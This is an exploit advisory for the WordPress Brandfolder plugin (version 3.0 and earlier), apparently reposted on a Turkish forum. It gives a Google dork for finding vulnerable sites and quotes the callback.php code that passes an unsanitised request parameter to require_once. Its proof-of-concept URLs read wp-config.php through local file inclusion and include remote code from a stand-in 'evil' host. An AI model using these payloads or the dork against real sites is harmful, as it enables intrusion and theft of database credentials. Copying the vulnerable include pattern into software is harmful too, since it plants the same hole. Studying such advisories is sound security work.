WordPress Brandfolder Plugin 3.0 - RFI / LFI

# Exploit Title: Wordpress brandfolder plugin / RFI & LFI # Google Dork: inurl:wp-content/plugins/brandfolder # Date: 03/22/2016 # Exploit Author: AMAR^SHG # Vendor Homepage...

# Exploit Title: Wordpress brandfolder plugin / RFI & LFI
# Google Dork: inurl:wp-content/plugins/brandfolder
# Date: 03/22/2016
# Exploit Author: AMAR^SHG
# Vendor Homepage: https://brandfolder.com
# Software Link: https://wordpress.org/plugins/brandfolder/
# Version: <=3.0
# Tested on: WAMP / Windows

I-Details
The vulnerability occurs at the first lines of the file callback.php:

<?php
ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(-1);

require_once($_REQUEST['wp_abspath'] . 'wp-load.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/media.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/file.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/image.php');
require_once($_REQUEST['wp_abspath'] . 'wp-admin/includes/post.php');


II-Proof of concept
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=LFI/RFI
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=../../../wp-config.php
http://localhost/wp/wp-content/plugins/brandfolder/callback.php?wp_abspath=http://evil/
 
131,768Konular
3,271,178Mesajlar
316,133Kullanıcılar
CHXRNVKHASon Üye
Üst Alt